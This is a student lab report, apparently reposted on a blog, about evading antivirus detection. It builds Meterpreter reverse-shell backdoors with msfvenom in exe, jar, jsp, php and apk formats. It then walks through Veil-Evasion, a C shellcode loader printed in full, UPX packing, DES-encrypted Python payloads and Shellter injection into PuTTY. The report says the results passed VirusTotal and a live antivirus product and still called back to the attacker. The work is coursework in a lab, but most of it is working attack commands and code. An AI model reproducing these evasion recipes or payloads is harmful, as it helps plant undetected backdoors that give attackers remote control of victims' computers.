zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175317钟睿文《网络对抗技术》Exp3 免杀原理与实践

    2019-2020-2 20175317钟睿文《网络对抗技术》Exp3 免杀原理与实践

    1.1 实践目标

    (1)任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    (2)任务二:通过组合应用各种技术实现恶意代码免杀

    (3)任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    1.2 基础知识

    • 免杀原理

      • 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

      • 如果要做好免杀,就要清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。

    任务一:正确使用免杀工具或技巧

    1.正确使用msf编码器

    在实验二中已经生成了未经编码处理exe类型的后门程序,将其放到VirusTotal或Virscan(网站链接在文末参考资料中)中查看结果,这里由于VirusTotal中的杀软数量远多于Virscan,所以我选择了VirusTotal:

    输入图片说明

    由此可见不加任何处理的后门程序能够被大多数杀软检测到,接下来用msf编码器对后门程序进行一次到多次的编码,并进行检测

    • -e用来选择编码器
    • -b用来去除需要去除的字符,应使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符
    • -i设置迭代次数,这里设置迭代次数为10

    生成一次编码的后门程序:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.122.136 LPORT=5317 -f exe > exp3.exe
    

    输入图片说明

    输入图片说明

    生成十次编码的后门程序:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.122.136 LPORT=5317 -f exe > encoded10.exe
    

    输入图片说明

    输入图片说明

    由此可见经过编码后虽然被检测出的概率下降了,但是大多数杀软还是可以将其检测出来。

    2.msfvenom生成如jar之类的其他文件

    • 生成jar文件:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.122.136 LPORT=5317 x> 20175317jar.jar
    

    VirusTotal检测结果:

    输入图片说明

    • 生成jsp文件:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.122.136 LPORT=5317 x> 20175317jsp.jsp
    

    VirusTotal检测结果:

    输入图片说明

    • 生成php文件:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.122.136 LPORT=5317 x> 20175317php.php
    

    VirusTotal检测结果:

    输入图片说明

    • 生成apk文件:
    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.122.136 LPORT=5317 x> 20175317apk.apk
    

    VirusTotal检测结果:

    输入图片说明

    3.使用veil-evasion生成后门程序

    使用sudo apt-get install veil进行veil的安装

    输入图片说明

    安装完成后提示有的部分没有安装成功,根据提示加后缀重新进行安装:

    输入图片说明

    安装完成后输入veil命令,这里使用热点进行安装会快很多,这里安装python会无响应……下载完成后会提示运行/usr/share/veil/config/setup.sh --force --silent

    输入图片说明

    但是在运行该指令时会反复提示找不到wine32,提示apt-get install wine32,但是安装的时候又…… o_o ....

    输入图片说明

    上网查了一下,要执行如下指令安装wine32

    mkdir -p ~/.cache/wine
    cd ~/.cache/wine 
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
    

    输入图片说明

    之后把veil卸掉重新安装一遍就能成功了:

    输入图片说明

    使用sudo运行veil,输入use evasion

    之后输入命令use c/meterpreter/rev_tcp.py进入配置界面

    输入图片说明

    使用set LHOST 192.168.122.136设置反弹连接IP地址

    使用set LPORT 5317设置端口

    输入图片说明

    使用generate命令生成文件,接着输入生成的playload的名称veil20175317,保存路径为/var/lib/veil/output/source/veil20175317.exe

    输入图片说明

    按老规矩丢到virustotal中看看veil生成的隐蔽性如何 (●'◡'●)

    输入图片说明

    结果显示我们费九牛二虎之力下的veil效果也不是太好,依然有过半的杀软可以把它揪出来 ╯︿╰

    4.使用C+shellcode编程生成后门程序

    使用如下指令生成shellcode:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.122.136 LPORT=5317 -f c
    

    创建20175317.c,将buf添加到代码中

    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
    "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
    "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
    "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
    "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
    "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
    "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
    "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
    "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
    "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x7ax88"
    "x68x02x00x14xc5x89xe6x50x50x50x50x40x50x40x50"
    "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
    "x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
    "x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
    "xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
    "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
    "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
    "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
    "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
    "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    int main() 
    { 
        int (*func)() = (int(*)())buf; 
        func(); 
    }
    
    
    

    使用i686-w64-mingw32-g++ 20175317.c -o 20175317.exe生成exe可执行文件

    输入图片说明

    丢到virustotal中看看效果:

    输入图片说明

    看样子在大多数杀软面前还是会露出狐狸尾巴……

    5.加壳工具

    使用命令upx 20175317.exe -o 20175317pro.exe对20175317.exe加壳

    输入图片说明

    上传到virustotal中:

    输入图片说明

    加壳以后能够检测出的杀软少了,但是过半的杀软还是可以检测出的。

    6.其他方法

    采用Veil-Evasion的其他荷载生成后门方式
    进入evasion,使用list查看可用的有效荷载:

    输入图片说明

    我选择的是第32个荷载,是Python下shellcode在DES下加密一种

    输入图片说明

    输入option查看有效荷载的选项

    输入图片说明

    修改用户名后使用generate生成,选择shellcode平台时选择2:msfvenom,payloads与IP、端口号使用tab自动获取

    输入图片说明

    输入图片说明

    输入生成文件的文件名,选择Py2Exe生成exe文件

    输入图片说明

    之后,生成的rc文件放入了路径/var/lib/veil/output/handlers/中,可执行文件放入了/var/lib/veil/output/source/

    将可执行文件上传到virustotal中看看效果:

    输入图片说明

    输入图片说明

    这下所有杀软都没有检测出来 ○( ^皿^)っ

    任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    任务一中最后一个采用Veil-Evasion生成的Python下shellcode在DES下加密文件已经可以通过杀软检查,所以这步中我使用了Python下shellcode使用DES加密的载荷+加密壳生成的文件:

    电脑环境:win10主机
    杀毒引擎:火绒
    杀软版本:2.8.90.11211

    木马库版本时间:2020-03-24

    输入图片说明

    PS:我在网上还查找找到了使用Shellter注入动态Shellcode注入来实现免杀的效果,当用户打开被植入后门的软件时,只有触发一定的操作才会启动后门。
    执行apt-get install shellter安装shellter,这里选择AutoA

    输入图片说明

    然后输入需要注入的exe文件路径

    输入图片说明

    设置相应的地址与端口

    输入图片说明

    输入图片说明

    最后就成功生成了

    输入图片说明

    放到主机中也没有被查杀到,杀软对动态shellcode好像反应不是那么灵敏:

    输入图片说明

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    电脑环境:win10主机
    杀毒引擎:火绒
    杀软版本:2.8.90.11211
    木马库版本时间:2020-03-24

    输入图片说明

    实验中遇到的问题

    问题一:安装veil的过程中一直提示缺少wine32,提示apt-get install wine32,安装时又会显示无法获取

    输入图片说明

    问题一解决方案:在安装前执行如下指令安装wine32

    mkdir -p ~/.cache/wine
    cd ~/.cache/wine 
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
    

    输入图片说明

    执行完成后就可以顺利进行安装了。

    问题二:shellter输入需要注入的exe文件路径后注入失败

    输入图片说明

    问题二解决方案:通过查询了解到shellter需要注入SSH/Telnet程序以实现传输,所以需要下载PuTTY,PuTTY是一个免费的SSH/Telnet程序。此外,shellter的这个特性也限制了其应用,它只能用于局域网内。下载PuTTY后经过重新注入发现shellter可以注入到PuTTY.exe中。

    实验收获与感想

    在本次实验过程中我使用了几种不同的方法进行免杀尝试,做出VirusTotal杀不出的恶意代码时的感受比cs上段的感觉还要爽!
    通过本次实践我进一步理解了免杀原理,同时对杀毒软件的可靠性有了新的认识( ̄▽ ̄)原来扫描后显示没有病毒不代表真的没有病毒,所以我们要从源头抓起,不浏览不安全的网页,不下载运行不明文件,减少恶意代码植入的机会。

    问题回答

    • (1)杀软是如何检测出恶意代码的?

    a.通过检测代码中的特征码或者某些特征片段,将其于自己的特征码库进行比对,如代码中检测出特征码或者某些特征片段,就将其判定为恶意代码。

    b.监控进程行为有无异常,如果在运行时出现了非法越权行为等,就将其判定为恶意代码。

    • (2)免杀是做什么?

    通过对恶意代码加壳或者进行编码等操作,隐藏代码中的特征码或者某些特征片段,起到混淆视听的作用,使得杀软不容易检测出该恶意代码,起到免杀的作用。

    • (3)免杀的基本方法有哪些?

    a.改变特征码
    使用encoder进行编码、重新编译生成可执行文件、加壳等手段改变特征码

    b.改变行为

    使用加密通信、增加正常功能的代码、使用隧道技术通讯等躲避或混淆杀毒软件起到免杀的作用

    开启杀软能绝对防止电脑中恶意代码吗?

    不能,通过本次实验已经能看出杀软不能检测出所有的恶意软件,杀软的病毒库中如果没有记录该特征片段,或着没有检测该恶意代码的有效手段则无法检测到该恶意代码,就不能及时杀掉电脑中的恶意代码。

    参考资料

    VirusTotal
    Virscan
    Kali Linux之软件安装、卸载、更新和修改更新源
    MSF-Shellcode生成和使用
    简介三款免杀工具(含BLACKHAT最新工具)

  • 相关阅读:
    POJ 1401 Factorial
    POJ 2407 Relatives(欧拉函数)
    POJ 1730 Perfect Pth Powers(唯一分解定理)
    POJ 2262 Goldbach's Conjecture(Eratosthenes筛法)
    POJ 2551 Ones
    POJ 1163 The Triangle
    POJ 3356 AGTC
    POJ 2192 Zipper
    POJ 1080 Human Gene Functions
    POJ 1159 Palindrome(最长公共子序列)
  • 原文地址:https://www.cnblogs.com/20175317zrw/p/12504140.html
Copyright © 2011-2022 走看看